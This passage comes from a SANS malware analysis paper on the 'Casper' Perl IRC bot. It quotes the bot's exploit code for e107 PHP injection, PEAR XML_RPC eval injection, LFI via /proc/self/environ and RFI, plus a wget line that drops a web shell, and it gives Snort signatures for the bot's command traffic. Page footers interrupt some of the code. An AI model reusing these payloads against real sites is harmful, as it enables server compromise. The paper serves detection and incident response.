756 msgr($\$chan,\$se,scalar(@hc),scalar(\@cl));
760 foreach my \$e (@cl) { f_simpan($\$ef2,\$e); }
761 crsql_eksploit($\$chan,$\$bug,$\$dork,$\$ef2,$\$se,$\$type);
```

The subroutine crsql_eksploit takes the list that was written to disk previously and sorts, cleans and ensures the entries in the list are unique.

```perl
626 unless (open(FILEZ,"< $\textasciitilde\textasciitildetf");)
```

Dan O'Connor, legacyboy@gmail.com

© 2011 The SANS Institute
As part of the Information Security Reading Room
Author retains full rights.
return;
while (my $r = <FILEZ>) { $r =~ s/
//g; push(@semuatarget,$r); }
close(FILEZ);
fhapus($tf);
my @kotor = lnk_sortir(@semuatarget);
my @target = lnk_filter(@kotor);

The final array @target is used in a foreach loop with the Perl fork function in an attempt to exploit the sites collected. It uses the bukasituscre107 subroutine to check if the site is vulnerable.

elsif ($type == 3){
    $q = bukasituscre107("http://".$situs.$bug,"uname -a");
}

sub bukasituscre107 {  
    my $inc = $_[0];
    my $crMe = $_[1];
    $crMe = "echo('casper');?>passthru('".$crMe."');echo(' kae')";
    my $ua = LWP::UserAgent->new or die;
    $ua->agent('Casper Bot Search');
    $ua->timeout($conf{timeout});
    my $req = HTTP::Request->new(POST => $inc);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D".$crMe.
"%5B%2Fphp%5D");  
    my $res = $ua->request($req);
    print $inc;
    if($res->is_success) {
        return $res->content;
    } else {
        return $res->status_line;
    }
}

Line 1799 has the user agent the Emerging Threat signatures were created for. The actual exploit attempt is constructed on line 1804, this uses the e107 code execution vulnerability from http://www.exploit-db.com/exploits/12715/. The author name field is used as the target on the contact.php page. It attempts initially to execute “uname -a” to return kernel information surrounded by “casper” and “kae”.

The results placed in to the $q variable and a if block is used to examine and report the results back to the the IRC channel. It reports back the presents of SQL, XML and the e107 content management system. Now using the local system as the host, the script attempts to execute the casper.txt, iso.txt and scan.txt scripts on the target.

bukasituscre107spred("http://".$situs.$bug,$e107spred3);
bukasituscre107spred("http://".$situs.$bug,$e107spred2);
bukasituscre107spred("http://".$situs.$bug,$e107spred);

my $e107spred = "include('".$spread."');";
my $e107spred2="passthru(".$e107cmdsp.");exec(".$e107cmdsp.");system(".
$e107cmdsp.");shell_exec(".".$e107cmdsp2.");
my $e107spred3="passthru(".$e107cmdsp2.");exec(".".$e107cmdsp2.");system(".

Dan O'Connor, legacyboy@gmail.com
Next the subroutine bukasituscrexml is executed.

```
1778  sub bukasituscrexml {
1779    my $url  = $_[0];
1780    my $crMa = $_[1];
1781    my $exploit;
1782    my $ua = LWP::UserAgent->new;
1783    $ua->timeout($conf{timeout});
1784    $ua->agent('Casper Bot Search');
1785    $exploit = "<?xml version="1.0"?>
1786    $exploit .= "<methodCall>
1787    $exploit .= "<methodName>test.method</methodName>
1788    $exploit .= "<params>
1789    $exploit .= "<param><value><name>$crMa</name><value>
1790    $exploit .= "</value></param></params>
1791    $exploit .= "</methodCall>".
1792    $response = $ua->request($url,'POST',Content_Type => 'text/xml',Content => $exploit);
1793    if ($response->is_success) { return $response->content; }
1794    else { return $response->status_line; }
1795  }
```

This again attempts to download and execute the iso.txt and scan.txt scripts locally hosted, but using XML. This uses an eval injection vulnerability in PEAR XML_RPC 1.30 (Bercegay, 2007). An example of the exploit can be found here http://www.gulftech.org/advisories/PHPXMLRPC%20Remote%20Code %20Execution/81. This exploit was published in 2005, and was patched shortly after.

The purpose of this is unknown, it could be old code left over from a previous script.

This path through scan.txt does not use all of the available code, much of the code is used for command and control. Specifically for receiving commands and reporting back system information.

Dan O'Connor, legacyboy@gmail.com
The subroutine crsql_eksploit also has the ability to also check for any possible SQL vulnerabilities on a target and will also report them back.

```perl
if ($type == 1) {
    $q = bukasitus("http://\$situs.$bug.$sqltest);
} elsif ($type == 2) {
    if ($q =~ /sql syntax/) {
    elsif ($q =~ /sql error/) {
    elsif ($q =~ /right syntax to use near/) {
    elsif ($q =~ /syntax error converting/) {
    elsif ($q =~ /unclosed quotation/) {

The remaining functionality to examine are the RFI and LFI attack methods.

```perl
elsif (($com =~ /^cmdlfi\s+\((.+?[^=])\s+(.*)\)/)) { irc_msg($dtarget,"Cek target ".dnick.".!"); cmd_lfi($dtarget,$1,$2); }
```

```
my $lfitest = ".../.../.../.../.../.../.../.../.../.../.../proc/self/environ
```

```perl
sub cmd_lfi { 
    my ($too,$situs,$cmduser) = @_; 
    $cmdlfiu = $cmduser; 
    my $qlfi = bukasituslfi($situs.$lfitest); 
    if ($qlfi =~ /HTTP_USER_AGENT/){ 
        irc_msg($too,"[CMDLFI] [".$cmduser."] sudah dilaksanakan"); 
```

```
1574    } 
    else { irc_msg($too,"target LFI ga vurnerable!"); } 
    bukasituslfi($situs.$lfitest);bukasituslfi($situs.$lfitest); 
```

Line 1570 sends a test LFI to the target host and the success is reported back in the following if block, lines 1571-1574. Regardless of the success of the test an attempt is made against the target on line 1576, bukasituslfi and bukasituslfi2.

```perl
sub bukasituslfi { 
    my $url = $[0]; 
    my $agent = $lfi; 
    my $ua = LWP::UserAgent->new(agent =>$agent); 
    $ua->timeout($conf{timeout}); 
    my $req = HTTP::Request->new(GET => $url); 
    my $response = $ua->request($req); 
    return $response->content; 
}
```

```perl
sub bukasituslfi2 { 
    my $url = $[0]; 
    my $agent = $lfi; 
    my $ua = LWP::UserAgent->new(agent =>$agent); 
    $ua->timeout($conf{timeout}); 
    my $req = HTTP::Request->new(GET => $url); 
    my $response = $ua->request($req); 
    return $response->content; 
}
```

```perl
$lfi = bukasitus($spread);$lfi2 = bukasitus($spread2); 
$spread = $url."casper.txt?"; 
$spread2 = $url."casper2.txt?";
```

Both subroutines are the same, they will either use casper.txt or casper2.txt as the

Dan O'Connor, legacyboy@gmail.com
payload for the LFI and it is contained inside the user agent. If successful it will execute casper.txt on the remote host and setup another compromised host.

```perl
225 elsif ((\$com =~ /^cmdrfi\s+(.+?):(\s+)\$\+\s+(.*)/)) { irc_msg(\$dtarget,"Cek target ".\$dnick."); cmd_rfi(\$dtarget,\$1,\$2); }

1578 sub cmd_rfi {  
1579  my ($too,$situs,$cmduser) = @_;  
1580  $cmdrfiu = $cmduser;  
1581  my $q = bukasitus($situs.$Ckrid2."?casper=\".$cmduser");  
1582  if ($q =~ /Casper_Kae/){  
1583     irc_msg($too,"[CMDFR][\".$cmduser\"] sudah dilaksanakan");  
1584   }  
1585  else { irc_msg($too,"target RFI ga vurnerable!"); }
1586  bukasitus($situs.$spread."?");
1587 }

330  $spread = "$url."casper.txt?";

2044 sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }

1759 sub bukasitus {  
1760  my $url = "\[0];  
1761  my $request = HTTP::Request->new(GET => $url);  
1762  my $ua = LWP::UserAgent->new;  
1763  $ua->timeout($conf{timeout});  
1764  $ua->agent('Casper Bot Search');  
1765  my $response = $ua->request($request);  
1766  if ($response->is_success) { return $response->content; }  
1767  else { return $response->status_line; }
1768 }
```

If line 1581 is successful it will drop the control interface on to the target from the source file of sh.txt to casper.php. This is done on line 20 in Ckridd2.txt.

```bash
20  crshellexec("wget ".\$shellid."sh.txt -O casper.php");
```

If the test fails it will report to the IRC user contained in $too and it will attempt another exploitation on line 1586. This is done by sending a GET to the target with the casper.txt. The $url that is sent in the GET command on line 1761 will look like the following.

```perl
```

The targets for the RFI could be the ones listed on [http://www.exploit-db.com/exploits/12818/](http://www.exploit-db.com/exploits/12818/), but it will work with any newer RFI vulnerability discovered.

### 2.6.1. Methods of detection

The previously created signatures to detect outbound traffic from web servers should be very effective at detection of activity associated with this script. Using the help section from scan.txt we are able to create signatures specifically looking for commands

Dan O'Connor, legacyboy@gmail.com
being sent.

1980 $hsepz."Crack RFI & LFI & XML & SQL Scanner $versi Help ",
1981 $hlogo."scan|scan2 <bug> <dork> <E2><80><A2> Memulai scanner | scanner &
Ekspliot RFI & LFI & XML & SQL ",
1982 $hcspr."scan <bug> <dork> <E2><80><A2> Memulai scanner & Ekspliot RFI &
LFI ",
1983 $hcspr."xml <bug> <dork> <E2><80><A2> Memulai scanner & Ekspliot XML ",
1984 $hcspr."e107 <bug> <dork> <E2><80><A2> Memulai scanner & Ekspliot e107 RCE
",
1985 $hcspr."sql <bug> <dork> <E2><80><A2> Memulai scanner & Ekspliot SQL",
1986 $hcspr."sql1 -h <E2><80><A2> Mencari bantuan schema database SQL",
1987 $hlogo."milw0rm <keywords> <E2><80><A2> Memulai scanner & Eksploit RFI &
LFI & XML & SQL",
1988 $hlogo."cmdrfi <LFI target> <comand> <E2><80><A2> execute target LFI",
1989 $hlogo."cmdxml <XML target> <comand> <E2><80><A2> execute target XML",
1990 $hlogo."cmdxml <XML target> <comand> <E2><80><A2> execute target XML",
1991 $hlogo."cmdxml <XML target> <comand> <E2><80><A2> execute target e107 RCE
",
1992 $hlogo."ip <ip> <E2><80><A2> cek ip",
1993 $hlogo."ip <ip> <E2><80><A2> cek ip/post code",
1994 $hlogo."text[enc/dec] <text> <E2><80><A2> encrypt/decrypt text",
1995 $hlogo."respone <E2><80><A2> Cek Respon & Injector RFI & User Agent LFI",
1996 $hlogo."urlen|urlde <teks> <E2><80><A2> Encoder/Decoder URL",
1997 $hlogo."cek <E2><80><A2> Cek RFI & LFI & XML & SQL target",
1998 $hlogo."info <E2><80><A2> Informasi bot",
1999 $hlogo."auth <password> <E2><80><A2> Login ke bot",
40 port => "6667",

We also know in this case that the commands will be sent on the standard IRC
port of 6667, sample signatures are below. This port could be changed by the author, but
this sample uses the default port.

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 6667 (msg:"Casper command and control
traffic"; flow:to_server,established; content:"sqli " nocase; pcre:"/^
\s*sqli/smi"; metadata:policy classtype:trojan-activity; sid:xxxxxxx; rev:xx;)
```

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 6667 (msg:"Casper command and control
traffic"; flow:to_server,established; content:"cek " nocase; pcre:"/^
\s*cek/smi"; metadata:policy classtype:trojan-activity; sid:xxxxxxx; rev:xx;)
```

There are three additional help sections that could be used to create even more
signatures if needed. The specific signatures that could be created from the information
in the help files will assist containment of the original infection.

2001 my @hlp2 = (1
2002 $hsepz."User Commands: ",
2003 $hlogo."joomla <bug> <dork> <E2><80><A2> Memulai scanner & Ekspliot RFI &
LFI & XML & SQL Joomla",
2004 $hlogo."hitung <jumlah> <E2><80><A2> Mengganti hitungan proses eksploitasi
",
2005 $hlogo."criptz <password> <E2><80><A2> Membuat password yg terenkripsi",
2006 $hlogo."join|part <channel> <E2><80><A2> Join/Part channel",
2007 $hlogo."nick <nick> <E2><80><A2> Ganti nick bot",
2008 $hlogo."logout <E2><80><A2> Logout dari bot",
2009 );
2010 my @hlp3 = (1
2011 $hsepz."Admin Commands: ",
2013 $hlogo."cshurl <url> <E2><80><A2> Mengganti injector
(Ckrid1.txt,Ckrid2.txt,casper.txt,casper2.txt) RFI",

Dan O'Connor, legacyboy@gmail.com
2.7. Bundled Applications

Collected with the sample was two open source applications, psyBNC and Eggdrop. Eggdrop can be downloaded from http://www.eggheads.org. After examination of the scripts it appears that the sample was collected before eggdrop could be configured.

PsyBNC is a IRC bouncer that can be used to maintain a connection to an IRC server and even preform encryption of the session. This application was also not configured to be used by any of the scripts, several of them had blank configuration options referring to it.

3. Conclusion

Using a simple Google search string looking for various headings inside the casper.txt and scan.txt scripts. There are nearly one thousand sites hosting a txt file with matching contents as of April 2011. Using publicly available records, in July 2010 a single web server recorded 65,579 user agents of “MaMa CaSpEr” and 25,844 with “Casper Bot Search”. User counts as of April 2011 these user agents no longer make the top 15. (Netsabes, 2010)

Network egress filtering would be extremely effective at reducing of risk associated with this attack. Removing unneeded applications, general OS hardening and using a minimal system such as a FreeBSD service jail would further reduce the risk.

Surprisingly the detection ration of the binaries and scripts was very poor. It has almost been a full year since the samples were collected, and only four of the scripts had a greater then 50% detection ratio.

The information collected during the investigation is enough to keep the

Dan O'Connor, legacyboy@gmail.com
compromised host online and isolated while a full recovery is executed. While it would be possible to use the information collected to delete the dropped scripts and backdoors. Once control of a host has been lost, it should no longer be trusted. The most effective recovery would be to restore from the last known good backup to a new machine, harden and replace the compromised host.

4. References


Dan O'Connor, legacyboy@gmail.com
<table>
<thead>
<tr>
<th>Event Name</th>
<th>City, Country</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS DFIRCON 2019</td>
<td>Coral Gables, FLUS</td>
<td>Nov 04, 2019 - Nov 09, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>MGT521 Beta One 2019</td>
<td>Crystal City, VAUS</td>
<td>Nov 12, 2019 - Nov 13, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>GridEx V 2019</td>
<td>Online,</td>
<td>Nov 13, 2019 - Nov 14, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Atlanta Fall 2019</td>
<td>Atlanta, GAUS</td>
<td>Nov 18, 2019 - Nov 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>Pen Test HackFest Summit &amp; Training 2019</td>
<td>Bethesda, MDUS</td>
<td>Nov 18, 2019 - Nov 25, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin 2019</td>
<td>Austin, TXUS</td>
<td>Nov 18, 2019 - Nov 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Bangalore 2019</td>
<td>Bangalore, IN</td>
<td>Nov 25, 2019 - Nov 30, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Nashville 2019</td>
<td>Nashville, TNUS</td>
<td>Dec 02, 2019 - Dec 07, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco Winter 2019</td>
<td>San Francisco, CAUS</td>
<td>Dec 02, 2019 - Dec 07, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Frankfurt December 2019</td>
<td>Frankfurt, DE</td>
<td>Dec 09, 2019 - Dec 14, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin Winter 2020</td>
<td>Austin, TXUS</td>
<td>Jan 06, 2020 - Jan 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Miami 2020</td>
<td>Miami, FLUS</td>
<td>Jan 13, 2020 - Jan 18, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam January 2020</td>
<td>Amsterdam, NL</td>
<td>Jan 20, 2020 - Jan 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Anaheim 2020</td>
<td>Anaheim, CAUS</td>
<td>Jan 20, 2020 - Jan 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Threat Intelligence Summit &amp; Training 2020</td>
<td>Arlington, VAUS</td>
<td>Jan 20, 2020 - Jan 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Vienna January 2020</td>
<td>Vienna, AT</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Mumbai 2019</td>
<td>OnlineIN</td>
<td>Nov 04, 2019 - Nov 09, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>